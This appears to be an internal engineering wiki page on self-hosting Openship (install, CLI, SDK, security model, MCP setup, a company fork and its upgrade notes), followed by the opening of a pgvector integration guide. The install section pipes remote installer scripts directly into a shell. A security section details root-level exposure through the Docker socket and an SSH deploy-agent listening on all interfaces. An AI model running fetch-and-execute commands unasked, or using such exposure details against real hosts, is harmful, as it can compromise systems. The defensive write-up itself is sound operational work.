The Coolify / Dokploy / Dokku column and Openship's "no CDN / HTTP/3 / WAF" caveat come from Openship's own migration guide, which states its own gaps candidly. It is still a vendor comparison, so verify it before you lean on it.

Reach for Openship when infra has to stay in-house, when one €5–€20 VPS must carry several apps that would each be a paid Render or Railway service, or when the same box also hosts Postgres, Redis, and mail. Stay on Vercel (codeAmani's default) for marketing sites, the dashboard, and anything where a git push shipping itself is worth more than owning the box.

flowchart LR
  A["Source<br/>GitHub repo · local folder · image"] --> B["Detect<br/>package.json · lockfile · openship.json"]
  B --> C["Build<br/>Docker image or bare release<br/>config frozen into a snapshot"]
  C --> R["releaseCommands<br/>(migrations, 10 min each)"]
  R --> D["Run<br/>container on loopback<br/>+ workers / schedulers"]
  D --> E["Route + secure<br/>OpenResty + Let's Encrypt<br/>or Cloudflare Tunnel"]
  E --> F["Live domain"]
  G["git push / PR"] -.->|"webhook · Checks"| B
  H["CLI · SDK · dashboard · desktop · MCP"] --> I["Control plane API<br/>Hono + Postgres/PGlite"]
  I --> B

Official Documentation

Resource URL
Docs home https://openship.io/docs
Installation https://openship.io/docs/getting-started/installation
Ship SDK https://openship.io/docs/api/sdk
CLI reference https://openship.io/docs/cli/reference
MCP https://openship.io/docs/mcp (tool catalog: https://openship.io/docs/api/mcp-tools)
Security: isolation / auth / permissions https://openship.io/docs/security/isolation · /docs/security/auth · /docs/security/permissions
Updating https://openship.io/docs/guides/updating
Openship Actions https://openship.io/docs/guides/actions
Migrate from Coolify / Dokploy / Dokku https://openship.io/docs/guides/migrate-from-coolify-dokploy-dokku
Releases https://github.com/oblien/openship/releases
Pricing (Cloud) https://openship.io/pricing

Self-hosting requirements

Need Detail
Control-plane host (Compose mode, recommended for a VPS) Linux with Docker. Runs Postgres, Redis, API :4000, dashboard :3001, and an OpenResty edge on :80/:443 (host networking, so Linux only).
Bare mode macOS, Windows, or Linux without Docker. One process with embedded PGlite. It deploys out to SSH servers or Cloud and does not host apps itself.
Node 22+ for npm i -g openship. The install script supplies its own Node.
Service manager systemd (Linux), launchd (macOS), or a Scheduled Task on Windows (best effort). Without systemd, use openship up --foreground or raw Compose.
Target servers Any SSH-reachable Linux (Ubuntu/Debian work well), with key, password, or agent auth. Openship installs docker + git on setup, then openresty, certbot, and rsync on first need. Cloudflare Access SSH is supported, so :22 does not have to be public.
Clusters (0.8.0+) Two or more SSH servers with bidirectional private connectivity: an existing private network, or Openship-managed WireGuard. Openship installs k3s. Provider firewall rules are shown before apply.
Public HTTPS A domain with A/AAAA records to the box (HTTP-01), or a connected DNS provider for wildcard certs, or a managed Cloudflare Tunnel (0.9.2). Push-to-deploy and OAuth for MCP both need an always-on public origin.
Data you must keep The database plus the instance encryption key (BETTER_AUTH_SECRET on API installs). Compose installs keep generated secrets in ~/.openship/compose/.env (previous copy kept at .env.bak).

Install

# macOS / Linux: checksum-verified bundle; brings its own Node when yours is < 22
curl -fsSL https://get.openship.io | sh

# pin a release (set the variable on sh, not on curl)
curl -fsSL https://get.openship.io | OPENSHIP_VERSION=0.9.3 sh

# or with a package manager on your own Node 22+
npm i -g openship@0.9.3
# Windows. The docs print git.openship.io/windows, which does not resolve.
# get.openship.io/windows redirects to scripts/install.ps1 in oblien/openship.
irm https://get.openship.io/windows | iex

Then run the wizard. It creates the first admin, wires your domain, and installs Openship as a boot service:

openship            # guided setup, then the control panel
openship open       # dashboard (default http://localhost:3001)
openship status
openship doctor     # also re-probes the host-control channel

Headless / CI (no prompts). Export OPENSHIP_ADMIN_PASSWORD from Hazina first so it stays out of shell history:

openship up --non-interactive \
  --admin-email ops@example.com --admin-name "Ops" \
  --domain-kind custom --hostname ops.example.com \
  --acme-email ops@example.com --edge migrate

--domain-kind takes byo (your own proxy), custom (Openship's edge issues LE), free (<slug>.opsh.io, needs Cloud connect first), or none. --edge migrate|takeover|cancel pre-answers what happens to an existing proxy holding :80/:443. Add --dry-run to preview.

Command Purpose
openship up [--compose|--bare] [--public-url URL] [--foreground] [--no-ui] Install and start as a service
openship up --no-host-control Do not create the container→host SSH key (see Security)
openship stop / openship update [--check] [--via npm|bun] Stop / update. Re-run openship up after update, because the running service keeps the old version until restarted
openship uninstall [--keep-data] [--keep-images] [--yes] Remove the control plane. Deployed apps keep running

Raw Docker Compose (no CLI)

git clone https://github.com/oblien/openship.git && cd openship
cp .env.example .env          # fill in secrets first
docker compose --env-file .env -f docker/docker-compose.yml up -d

docker/docker-compose.yml pulls ghcr.io/oblien/*. The root docker-compose.yml is the from-source SaaS control plane (no edge, no socket) and cannot host your apps. Raw Compose does not provision the host-control SSH channel, so :80/:443 takeover, the mail engine, and host-written catalog configs refuse until you do the five manual steps in .env.example (see /docs/troubleshooting/host-channel). openship update will not touch a raw-Compose stack. Upgrade it by pinning OPENSHIP_VERSION in .env, then pull and up -d.


Deploy a project

cd your-project
openship init
openship deploy --watch
openship logs

CI: openship project git auto-deploy my-app --enable adds a GitHub webhook that re-runs the pipeline on push and rebuilds only the monorepo services that changed. Since 0.9.0, repository deployments also publish GitHub Checks by default. That needs a GitHub App with Checks write access, because a PAT alone is not enough. 0.9.3 adds opt-in PR previews: same-repository, non-draft PRs only, with preview-only variables and isolated volumes. Production variables are never copied, and forks are excluded.

openship.json additions since August

Key Since What it does
releaseCommands 0.8.0 Run in order after build, against the candidate release's env (migrations). 10-minute budget each. Failure blocks activation, and rollbacks skip them. Single-app Docker and Bare only.
runtimeVersion / runtimeImage 0.9.1 Pin the runtime (for example PHP 8.3/8.4), or override the production base image for Docker source builds.
Workers / schedulers (roles) 0.9.2 Extra containers from the app image with their own command and no published ports. Schedulers are singletons. Single-app self-hosted Docker only.

Detected stacks: Node, Python, Go, Rust, PHP, Ruby, Java, .NET, Dockerfiles, Compose files, and monorepos. Next.js standalone and Nuxt output are prepared automatically (0.9.3).


Ship SDK (0.8.0+)

The same openship package now exports a typed SDK. Imports are passive: importing does not start the CLI or open a database.

Import Use
openship/client → OpenshipClient Talk to an existing self-hosted or Cloud API (https://api.openship.io for Cloud)
openship/native → createShip Embed an engine in your own Node app (PGlite storage, explicit start() / close(), needs a ≥32-byte encryption key)
openship Both, plus OperationError, iteratePages, consumeDeploymentEvents, and types
import { resolve } from "node:path";
import { OpenshipClient } from "openship/client";

const ship = new OpenshipClient({
  baseUrl: "https://open-ship-api.codeamani.com",   // no credentials or query string allowed
  token: process.env.OPENSHIP_TOKEN!,                // opsh_pat_..., from Hazina
  organizationId: process.env.OPENSHIP_ORGANIZATION_ID!,
});

const run = await ship.deploy({ name: "my-app", source: { type: "directory", path: resolve("./app") } });
const outcome = await ship.deployment(run.deployment_id).wait({ timeoutMs: 600_000 });
if (!outcome.success) throw new Error(outcome.status);

Behaviour to know: the client never follows redirects and never retries mutations. On a lost response, inspect state before you resubmit. Aborting a log stream or a wait() does not cancel the deployment, so call deployment(id).cancel(). ready and no_changes are the success states. Full runnable versions are in examples/ (type-checked against openship@0.9.3).


CLI map (0.9.3)

Group Commands
Run / update the instance up, stop, update, install, uninstall, open, status, doctor, reset-admin-password
Deploy init, deploy, deployment, logs, app
Resources project (git, routing, volume, database, connections), service (env), domain (dns)
Access & API login, logout, context, token, access, api, credential
Servers & fleet server (cluster, network, managed, containers, tunnel, github), edge (rules), dns (ingress)
Ops backup (policy, run, destination), job, mail, migration, notification, webhook, analytics, audit, system, settings, billing

Openship Actions has no dedicated command group yet. Drive it through openship api. Global flags: --json (use it from scripts and agents), --version, --help. Contexts live in ~/.openship/config.json.

PATs are opsh_pat_ + 43 random characters. Narrow them:

openship token create "ci-readonly" --read-only --expires 90
openship token create "deploy-bot" --grant project:proj_123:read,write
openship login --token opsh_pat_xxxxxxxxxxxx

A token is bound to the organization it was created in and acts as its creator, never more. Bearer tokens sent from the dashboard's own browser origin are rejected (401 BEARER_NOT_ALLOWED_FROM_BROWSER).


Architecture

flowchart TD
  subgraph UI["Interfaces"]
    D1["Dashboard · Next.js"]
    D2["CLI + Ship SDK · npm openship"]
    D3["Desktop · Electron"]
    D4["MCP · POST /api/mcp"]
  end
  UI -->|"HTTP /api/*"| API["Control plane API · Hono"]
  API --> DB[("Postgres + Drizzle<br/>or embedded PGlite")]
  API --> ADP["adapters"]
  ADP --> R["runtime<br/>Docker · bare (systemd) · k3s cluster · Cloud"]
  ADP --> I2["infra<br/>OpenResty edge · certbot · CF Tunnel"]
  R --> T{"Target"}
  T --> T1["This server (host-control SSH)"]
  T --> T2["Your servers over SSH"]
  T --> T3["Cluster over WireGuard + k3s"]
  T --> T4["Openship Cloud"]

Security model: what the deploy path can touch

This is the part to read before exposing an instance.

Surface What it is Blast radius Control
Docker socket in the api container (Compose mode) Needed to build and run apps Host root for anyone who controls the API Treat dashboard access as host access. Never co-tenant. Keep the dashboard off the public internet (OPENSHIP_BIND_ADDR, Cloudflare Tunnel + Access)
Host-control channel SSH key that openship up authorizes for the invoking user, reached via host.docker.internal Host shell, :80/:443 takeover, port scans openship up --no-host-control on boxes that only manage remote servers. It is CLI-only by design, and it is defense in depth, not isolation
SSH credentials to target servers Key, password, or agent. Stored by the control plane Whatever that user can do (usually root) Use a dedicated key per server and prefer agent auth. Cloudflare Access transport keeps :22 private
Runtime isolation Docker: one container per deployment, per-project bridge network openship-<slug>, project-prefixed volumes, random loopback ports Kernel-level Bare mode shares the host filesystem, network, and users and has no CPU/memory caps. Run only trusted code there
Openship Actions runners (0.9.0) Native runners, or runners with a host Docker socket Run trusted code with that server user's access Fork code is blocked by default. Approved fork runs use disposable Cloud runners without secrets. For stronger separation, use disposable VMs
Secrets at rest Env, build args, and Compose snapshots encrypted since 0.8.0. 2FA secrets are encrypted with BETTER_AUTH_SECRET Losing the key means losing the secrets Back up the DB and the key together. "Download .env" and project export are plaintext, so treat those files as secrets
MCP POST /api/mcp, OAuth 2.1 or PAT Exactly the grant Every tools/call re-runs auth and per-resource checks. tokens, auth, and mcp modules can never become tools. Tools carry readOnlyHint / destructiveHint
Unauthenticated floods Per-IP guard before auth (0.8.0) n/a Behind a proxy, set TRUST_PROXY / OPENSHIP_TRUST_EDGE=true so the guard sees real client IPs
Account Passkeys + TOTP 2FA + recovery codes (0.8.1) n/a Turn on 2FA for every admin on any internet-reachable instance
Updates Pulled from public GitHub releases. Checksum-verified bundle. Desktop verifies SHA-256 and publisher signature n/a Auto-update is off by default on servers. Pin OPENSHIP_VERSION for Compose
Telemetry Structured error upload is disabled for Desktop, self-hosted, native, and CLI (0.9.0) n/a Only Openship Cloud stores sanitized events

Driving Openship from Claude Code (MCP)

# OAuth 2.1: browser consent where you pick read-only/full and which projects/servers/repos
claude mcp add --transport http --scope user openship https://openship.example.com/api/mcp

# Static-token fallback: mint a read-only or scoped PAT for agents
claude mcp add --transport http openship https://openship.example.com/api/mcp \
  --header "Authorization: Bearer opsh_pat_…"

codeAmani's fork — the local fleet control plane

The working checkout lives in WSL Ubuntu at ~/projects/grok-projects/open-ship (read-only snapshot taken 2026-10-20):

origin https://github.com/codeAmani-Solutions/open-ship.git
upstream https://github.com/oblien/openship.git. v0.6.8 merged (0adc1e79). The local upstream/main ref has not been fetched past 0.6.8
Branch / version main, package.json 0.6.8, 13 commits ahead of the local upstream/main ref, last commit 2026-08-29
Uncommitted docker-compose.override.yml modified, plus untracked AGENTS.md, decisions.md, status.md, scripts/migrate-ghost-postgres.sh, and others
Shape Bun + Turbo monorepo: apps/{api,cli,dashboard,desktop,edge,email,web}, packages/*

Upstream's ports (:4000 / :3001) are not what this machine runs, because 127.0.0.1:4000 belongs to the global openship CLI. docker-compose.override.yml supplies the fleet topology:

Surface Host port URL
Dashboard 3246 http://127.0.0.1:3246
API 3247 http://127.0.0.1:3247/api/health
Marketing web 3236 http://127.0.0.1:3236
Deploy-agent SSH 2222 ssh -p 2222 -i ssh-keys/id_ed25519 root@127.0.0.1
Webmail 20000 http://127.0.0.1:20000
Public dashboard Cloudflare tunnel https://open-ship.codeamani.com → :3246
Public API Cloudflare tunnel https://open-ship-api.codeamani.com → :3247

Bring-up (repo root, inside WSL):

hazina inject open-ship --check    # names only, never values
hazina inject open-ship            # writes .env.local
docker compose -f docker-compose.yml -f docker-compose.override.yml up -d
node scripts/dev-status.mjs

The fork deliberately runs the from-source root compose, not openship up. Its docs (2efb47c3) warn that openship up is a different stack and must not replace it.

What the fork adds

  1. deploy-agent/: an SSH target the control plane can reach. In Compose the API cannot SSH to the WSL host (no host sshd), so an Ubuntu 24.04 container is the target: openssh-server (PasswordAuthentication no, PermitRootLogin prohibit-password), docker-ce-cli, docker-compose-plugin, and docker-buildx-plugin (Openship passes --progress=plain, and the legacy builder exits 125). It runs network_mode: host on SSH_PORT=2222, mounts the host Docker socket, /var/lib/openship, and /etc/letsencrypt (certsExist() checks the target's filesystem). It persists sshd host keys under /var/lib/openship/sshd, and a systemctl shim starts OpenResty without systemd. Since 2efb47c3, host-control SSH also points at the deploy-agent on :2222.
  2. Product-issue operator loop. scripts/openship-api.mjs issues, dev-status.mjs [--strict], fleet-reconcile.mjs (recycles the stale API SSH pool after a deploy-agent recreate), and ops-watch.mjs --once.
  3. Agent MCP over subscription logins. Grok Build and Claude Code connect over Openship OAuth (grok login / claude login), not XAI_API_KEY / ANTHROPIC_API_KEY. The PAT fallback (OPENSHIP_MCP_TOKEN) is an Openship token.
  4. Dashboard additions (since August): a project Preview tab with desktop/mobile viewports, and grok-browser preview plus Chrome DevTools analytics capture (c611123f, 62fdfde4, df4c7d4a).
  5. Webmail (apps/email): mailbox identity, CID HQ signature, Outlook-style settings, PWA offline, OpenPGP passphrase encryption on send, and in-app redirects instead of VITE_PUBLIC_APP_URL (1067be4d).

⚠️ Deploy-agent exposure (found 2026-10-20)

Read-only check: the deploy-agent's sshd listens on 0.0.0.0:2222 and [::]:2222. No ListenAddress is set, and network_mode: host publishes it on every interface of the WSL VM. Behind that login sit root, the host Docker socket, and /etc/letsencrypt. Pubkey-only auth is the only barrier. Until the fork is changed, do not enable WSL mirrored networking or forward :2222 past the Windows firewall. The fix belongs in the fork (ListenAddress 127.0.0.1 in entrypoint.sh), plus a key used only by the API. It was not applied, because this refresh is read-only on the fork.

Upgrading the fork to 0.9.x (not done; plan it)

Secrets: Hazina, not .env by hand

All secrets for this checkout flow through Hazina project open-ship. There are two files, deliberately not collapsed:

File Owner Consumed by
.env Compose stack env_file for api / dashboard
.env.local hazina inject open-ship scripts/auto-login-local.mjs, operator tooling

Do not env_file: .env.local into compose, or mailbox passwords enter the API container. Bound names: OPENSHIP_ADMIN_EMAIL, OPENSHIP_ADMIN_PASSWORD, BETTER_AUTH_SECRET, INTERNAL_TOKEN, POSTGRES_PASSWORD, CLOUDFLARE_TUNNEL_TOKEN, PORKBUN_API_KEY / PORKBUN_SECRET_KEY, RESEND_API_KEY, OPENSHIP_MCP_TOKEN.


Environment variables

Secrets (store in the vault, never commit):

POSTGRES_PASSWORD=change-me
BETTER_AUTH_SECRET=change-me-32-plus-random-bytes
INTERNAL_TOKEN=change-me
OPENSHIP_ADMIN_PASSWORD=change-me
OPENSHIP_TOKEN=opsh_pat_xxxxxxxxxxxx
OPENSHIP_ENCRYPTION_KEY=change-me-32-plus-random-bytes

OPENSHIP_TOKEN is used by the SDK and CLI. OPENSHIP_ENCRYPTION_KEY is needed only for the native SDK (createShip), must be at least 32 bytes, and must persist.

Non-secret settings:

Variable Purpose
OPENSHIP_VERSION Pin a release for reproducible image pulls / installs (for example 0.9.3)
OPENSHIP_PUBLIC_URL Public origin. Without it, remote login is rejected
OPENSHIP_BIND_ADDR Interface published ports bind to (keep 127.0.0.1 behind a tunnel)
TRUST_PROXY true behind a reverse proxy / tunnel
OPENSHIP_TRUST_EDGE true delegates the pre-auth per-IP flood ceiling to the upstream proxy
OPENSHIP_EDGE_MODE Host OpenResty vs container edge (set by the CLI)
OPENSHIP_CLOUDFLARED_PATH Absolute path to cloudflared for Cloudflare Access SSH targets
OPENSHIP_VENDOR_NODE 1 / 0 to accept or decline the CLI's private Node 22 download non-interactively
OPENSHIP_URL, OPENSHIP_ORGANIZATION_ID SDK example inputs (API origin, workspace id)
API_PORT / DASHBOARD_PORT Defaults 4000 / 3001
GITHUB_CLIENT_ID Optional GitHub OAuth device flow on self-hosted

Breaking and behaviour changes since August (0.6.8 → 0.9.3)

Change Since Impact
Env vars, build args, and Compose/deploy snapshots encrypted at rest. Legacy plaintext is converted on start 0.8.0 One-way. Back up the DB + BETTER_AUTH_SECRET before upgrading. Moving config between instances with different keys needs Data Transfer with secrets
npm openship is now SDK + CLI (exports map: ., ./client, ./native; ESM + CJS) 0.8.0 No CLI break. Projects pinning <0.8.0 have no SDK entry points
Tokens and OAuth/MCP connections bound to one organization 0.8.x docs Scripts that switched orgs with one token need a token per org
Desktop 0.8.0/0.8.1 updater broken 0.8.2 Desktop users on those versions must manually install ≥0.8.2 once. Server/CLI is unaffected
GitHub deployment Checks on by default 0.9.0 New Checks appear on PRs. Disable them per project if unwanted. They need GitHub App Checks permission
Static sites default to Cloud Pages on Cloud 0.9.0 Choose "Managed server hosting" to keep an nginx container
Omitted CPU/RAM limits no longer become caps 0.9.2 Containers share full host capacity unless limits are set. Existing saved limits stay
Cloud plans repriced: Hobby $5 / Starter $20 / Pro $39 / Scale $99 per server per month 0.8.1 Cloud only. No per-project count limit on new offers
PORT stripped from worker/scheduler roles 0.9.2 Roles never publish ports

codeAmani notes


Troubleshooting

Issue Fix
openship open fails / API not responding openship up, then retry. openship doctor for a diagnosis
Updated but still on the old version The service keeps running the old build. Run openship up after openship update
Update stops naming POSTGRES_PASSWORD / BETTER_AUTH_SECRET Ran as a different user (for example sudo reads /root/.openship). Re-run as the install owner, or restore ~/.openship/compose/.env from .env.bak
Host operations hang (:80/:443 takeover, mail, host terminal) The container→host SSH channel is missing or blocked by ufw on filter/INPUT. See /docs/troubleshooting/host-channel
docker build exits 125 on a custom target Install docker-buildx-plugin (Openship passes --progress=plain)
SSL verify says "no certs" though the edge issued them certsExist() reads the target's filesystem, so bind-mount host /etc/letsencrypt
Agent unreachable after recreating the deploy target Stale API SSH pool. Fork: node scripts/fleet-reconcile.mjs
MCP tools/call returns 404 The resource is outside the token/OAuth grant (or another org). Re-authorize with it included
SDK call "hangs" on redirect / baseUrl rejected The client never follows redirects and refuses credentials or a query string in baseUrl. Use the final HTTPS origin
Desktop updater "Redirect was cancelled" Desktop 0.8.0/0.8.1 bug. Install ≥0.8.2 manually once
Windows installer URL does not resolve Use https://get.openship.io/windows, not the docs' git.openship.io/windows
npm i -g openship fails on Node version Node 22+ is needed. Use the install script, or OPENSHIP_VENDOR_NODE=1

Official docs:

pgvector Integration Guide

Technology: pgvector · Category: database · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/pgvector

Insight:

The cheapest retrieval layer: pgvector is a Postgres extension, so vectors live in the Supabase/Neon database you already pay for, next to your relational rows. You get SQL joins to business data and RLS for tenant isolation, under one backup and one bill. The catch is that an HNSW index applies WHERE and RLS filters after it returns candidates, so selective filters silently return too few rows unless you turn on iterative index scans (0.8.0+). You also bring your own embeddings and tune the index yourself. Good up to a few million vectors per index; past that, look at halfvec plus binary quantization, Neon's lakebase_ann, or [[pinecone]].

██████╗  ██████╗ ██╗   ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗
██╔══██╗██╔════╝ ██║   ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗
██████╔╝██║  ███╗██║   ██║█████╗  ██║        ██║   ██║   ██║██████╔╝
██╔═══╝ ██║   ██║╚██╗ ██╔╝██╔══╝  ██║        ██║   ██║   ██║██╔══██╗
██║     ╚██████╔╝ ╚████╔╝ ███████╗╚██████╗   ██║   ╚██████╔╝██║  ██║
╚═╝      ╚═════╝   ╚═══╝  ╚══════╝ ╚═════╝   ╚═╝    ╚═════╝ ╚═╝  ╚═╝

pgvector Integration Guide

Focus: Vector search inside your existing Postgres (Supabase or Neon). It's the cheapest RAG retrieval layer because it adds no new service. Store embeddings in a vector column, query with distance operators, index with HNSW, and turn on iterative scans whenever a query filters. This is the counterpoint to the managed pinecone guide.

Overview

Here is the whole pgvector loop at a glance. Once you see it, the SQL below makes sense.

flowchart LR
  A["Your text"] --> B["Embedding model<br/>AI SDK embed"]
  B --> C["number array"]
  C --> D["Postgres table<br/>vector column + HNSW"]
  E["User query"] --> B
  D --> F["ORDER BY distance LIMIT k<br/>iterative scan on"]
  F --> G["Nearest rows<br/>RLS applied, JOIN to business data"]

pgvector is an open-source Postgres extension (SQL name: vector) that adds vector column types, distance operators, and two approximate-nearest-neighbour (ANN) index types. Because it lives in Postgres:

You bring your own embeddings (OpenAI, Voyage, Gemini, or an open model). pgvector stores and searches vectors; it doesn't generate them.

Versions (verified 2026-10-20)

Component Version Notes
pgvector extension (upstream) 0.8.7 (2026-10-01) Fixes an IVFFlat build buffer overflow. 0.8.3 to 0.8.6 fixed HNSW vacuum index corruption and other IVFFlat bugs.
Supabase up to 0.8.2 in the supabase/postgres image (PG 15/17) Check yours: SELECT extversion FROM pg_extension WHERE extname = 'vector';. Supabase's docs say to upgrade the project's Postgres from the dashboard's project settings.
Neon 0.8.0 on PG 14 to 17, 0.8.6 on PG 18 From Neon's extension table. One version back is installable.
npm pgvector (node client) 0.3.0 ESM-only, Node >= 22. registerType is deprecated, so use registerTypes. The pgvector/utils import was removed.
PyPI pgvector 0.5.1
Docker (local dev) pgvector/pgvector:0.8.7-pg18-trixie See [[local-database]].

Hosted versions lag upstream. Neon's PG 14 to 17 computes and Supabase are below 0.8.3, which has the HNSW vacuum-corruption fix. Prefer PG 18 on Neon for new projects, and on Supabase keep the project's Postgres upgraded. See NOTES.md.

Official Documentation

Resource URL
pgvector README https://github.com/pgvector/pgvector
pgvector CHANGELOG https://github.com/pgvector/pgvector/blob/master/CHANGELOG.md
pgvector-node https://github.com/pgvector/pgvector-node
Supabase pgvector https://supabase.com/docs/guides/database/extensions/pgvector
Supabase HNSW indexes https://supabase.com/docs/guides/ai/vector-indexes/hnsw-indexes
Supabase hybrid search https://supabase.com/docs/guides/ai/hybrid-search
Supabase RAG with permissions https://supabase.com/docs/guides/ai/rag-with-permissions
Neon pgvector https://neon.com/docs/extensions/pgvector
Neon Lakebase Search https://neon.com/docs/ai/lakebase-search
Drizzle pg extensions https://orm.drizzle.team/docs/extensions/pg

1. Enable and create the table

CREATE EXTENSION IF NOT EXISTS vector;                 -- Neon / self-hosted
-- Supabase convention: CREATE EXTENSION IF NOT EXISTS vector WITH SCHEMA extensions;

CREATE TABLE documents (
  id        bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
  tenant_id text   NOT NULL,
  content   text   NOT NULL,
  embedding vector(1536)        -- must equal the model's output dimension
);

Full schema with the tenant index, the FTS column, and RLS: examples/schema.sql.

Choosing the embedding model and dimension

Model Default dims Other sizes Normalized? Price (per 1M tokens)
OpenAI text-embedding-3-small 1536 any smaller, via dimensions yes $0.02
OpenAI text-embedding-3-large 3072 any smaller, via dimensions yes $0.13
Voyage voyage-4 / voyage-4-lite / voyage-4-large 1024 256, 512, 2048 yes $0.06 / $0.02 / $0.12 (first 200M tokens free)
Gemini gemini-embedding-2 3072 128 to 3072 (768, 1536, 3072 recommended) yes, including truncated sizes $0.20 text ($0.10 batch)
Gemini gemini-embedding-001 (legacy) 3072 128 to 3072 only at 3072; normalize truncated output yourself not listed on the pricing page (see NOTES)

Rules:

2. Insert and query (raw SQL)

Operator Distance vector / halfvec ops class Index support
<-> L2 (Euclidean) vector_l2_ops HNSW, IVFFlat
<=> cosine vector_cosine_ops HNSW, IVFFlat
<#> negative inner product vector_ip_ops HNSW, IVFFlat
<+> L1 (taxicab) vector_l1_ops HNSW only
<~> Hamming (bit) bit_hamming_ops HNSW, IVFFlat
<%> Jaccard (bit) bit_jaccard_ops HNSW only
SELECT id, content, embedding <=> $1 AS distance
FROM documents
ORDER BY embedding <=> $1          -- the bare operator, ascending: index-eligible
LIMIT 5;

The index is used only for ORDER BY <operator> ASC LIMIT n. ORDER BY 1 - (embedding <=> $1) DESC gives the same ranking but seq-scans. Compute similarity in the SELECT list if you need it, but sort by distance. (Verified with EXPLAIN on 0.8.7.) NULL vectors aren't indexed, and neither are zero vectors under cosine.

3. Choose and build an index

flowchart TD
  Q0{"Under ~10k rows<br/>or selective filter?"} -->|"yes"| X["No ANN index<br/>exact scan, B-tree on filter"]
  Q0 -->|"no"| Q1{"Default choice"}
  Q1 --> A["HNSW<br/>best speed-recall, no training"]
  Q1 -->|"build time or RAM bound"| B["IVFFlat<br/>build after data loads"]
  A --> C["Ops class must match<br/>the query operator"]
  B --> C
-- HNSW (default). No training step, so it can be built on an empty table.
CREATE INDEX CONCURRENTLY documents_embedding_hnsw_idx
  ON documents USING hnsw (embedding vector_cosine_ops)
  WITH (m = 16, ef_construction = 64);          -- the defaults

-- IVFFlat. Build only AFTER the data is loaded.
-- lists: rows/1000 up to 1M rows, sqrt(rows) above that
CREATE INDEX CONCURRENTLY ON documents USING ivfflat (embedding vector_cosine_ops)
  WITH (lists = 100);

Build-time tips (from the README, plus Neon's docs):

4. Tuning: recall vs speed

Knob Index Default Range When to change
m (build) HNSW 16 2 to 100 Only if raising ef_search can't reach your recall target. Requires a rebuild.
ef_construction (build) HNSW 64 4 to 1000 Same as m. A higher value means a slower build and slower inserts.
hnsw.ef_search (query) HNSW 40 1 to 1000 First dial. It also caps the rows a non-iterative scan can return.
lists (build) IVFFlat 100 1 to 32768 rows/1000 up to 1M rows, sqrt(rows) above
ivfflat.probes (query) IVFFlat 1 1 to lists Start at sqrt(lists). Setting probes = lists means exact search, and the index stops being used.
BEGIN;
SET LOCAL hnsw.ef_search = 100;      -- SET LOCAL: this transaction only (safe behind poolers)
SELECT id FROM documents ORDER BY embedding <=> $1 LIMIT 10;
COMMIT;

Measure recall. Compare the ANN results with an exact search: BEGIN; SET LOCAL enable_indexscan = off; SELECT ...; COMMIT;. Debug plans with EXPLAIN (ANALYZE, BUFFERS).

5. Filtering and iterative index scans (the big pitfall)

With an ANN index, WHERE filters, including RLS policies, are applied after the index returns candidates. HNSW returns at most ef_search (40) candidates. If your filter matches 10% of rows, you get about 4 rows back for LIMIT 10. There's no error; the results are just short.

flowchart LR
  Q["WHERE tenant = x<br/>ORDER BY dist LIMIT 10"] --> I["HNSW returns 40<br/>nearest overall"]
  I --> F["Filter keeps 4"]
  F --> R["4 rows returned"]
  I -.->|"iterative_scan on"| M["Keeps scanning until 10 match<br/>or max_scan_tuples"]

Fixes, in the order the README recommends:

  1. B-tree on the filter column (CREATE INDEX ON documents (tenant_id)). For selective filters the planner picks it and does an exact scan of just those rows.
  2. Iterative index scans (pgvector 0.8.0+, off by default):
    SET LOCAL hnsw.iterative_scan = relaxed_order;   -- or strict_order
    SET LOCAL hnsw.max_scan_tuples = 20000;          -- default 20,000 (approximate)
    SET LOCAL hnsw.scan_mem_multiplier = 1;          -- x work_mem, default 1; raise if max_scan_tuples doesn't help
    -- IVFFlat: SET LOCAL ivfflat.iterative_scan = relaxed_order; SET LOCAL ivfflat.max_probes = 100;
    
    relaxed_order gives better recall but can return rows slightly out of order. Re-sort with a materialized CTE. + 0 is required on Postgres 17 and later:
    WITH nearest AS MATERIALIZED (
      SELECT id, embedding <=> $1 AS distance FROM documents
      WHERE tenant_id = $2 ORDER BY distance LIMIT 10
    ) SELECT * FROM nearest ORDER BY distance + 0;
    
    A distance threshold (WHERE distance < 0.3) goes outside the CTE. Other filters go inside it.
  3. Partial index when you filter on only a few distinct values (... USING hnsw (...) WHERE (category_id = 123)).
  4. List partitioning by tenant (PARTITION BY LIST (tenant_id)) when tenants are large or must not affect each other's recall and speed. The README recommends this for real multitenancy, since a shared index means one tenant's vectors affect another's recall.

6. Quantization: halfvec, bit, sparsevec

Type Storage per vector Max dims stored Max dims indexed Use it for
vector 4 × d + 8 bytes 16,000 2,000 the default
halfvec 2 × d + 8 bytes 16,000 4,000 half the storage and index size, small recall loss; 3072-dim models
bit d / 8 + 8 bytes Postgres bit limit 64,000 binary quantization, Hamming/Jaccard
sparsevec 8 × nnz + 16 bytes 16,000 non-zero 1,000 non-zero SPLADE / BM25-style sparse vectors (HNSW only)
-- Index a 3072-dim model at half precision. The query must use the same cast.
CREATE INDEX ON docs_large USING hnsw ((embedding::halfvec(3072)) halfvec_cosine_ops);
SELECT id FROM docs_large ORDER BY embedding::halfvec(3072) <=> $1::halfvec(3072) LIMIT 10;

-- Or store halfvec directly (Supabase's automatic-embeddings guide does this).
CREATE TABLE docs_half (id bigint PRIMARY KEY, embedding halfvec(1536));
CREATE INDEX ON docs_half USING hnsw (embedding halfvec_cosine_ops);

-- Binary quantization: a tiny index, then re-rank with full vectors for recall.
CREATE INDEX ON items USING hnsw ((binary_quantize(embedding)::bit(1536)) bit_hamming_ops);
SELECT * FROM (
  SELECT * FROM items
  ORDER BY binary_quantize(embedding)::bit(1536) <~> binary_quantize($1)
  LIMIT 40                                           -- over-fetch
) ORDER BY embedding <=> $1 LIMIT 10;                -- re-rank exactly

The README's scaling advice is to use halfvec for the table and binary quantization with re-ranking for the index. Both keep the working set in memory.

7. Hybrid search (keyword + semantic)

Pure vector search misses exact terms (SKUs, names, error codes, M-Pesa receipt codes). Pure full-text search misses synonyms. Run both and fuse the results with Reciprocal Rank Fusion: score = Σ weight / (k + rank), with k around 50 to 60.

ALTER TABLE documents ADD COLUMN fts tsvector
  GENERATED ALWAYS AS (to_tsvector('english', content)) STORED;
CREATE INDEX ON documents USING gin (fts);

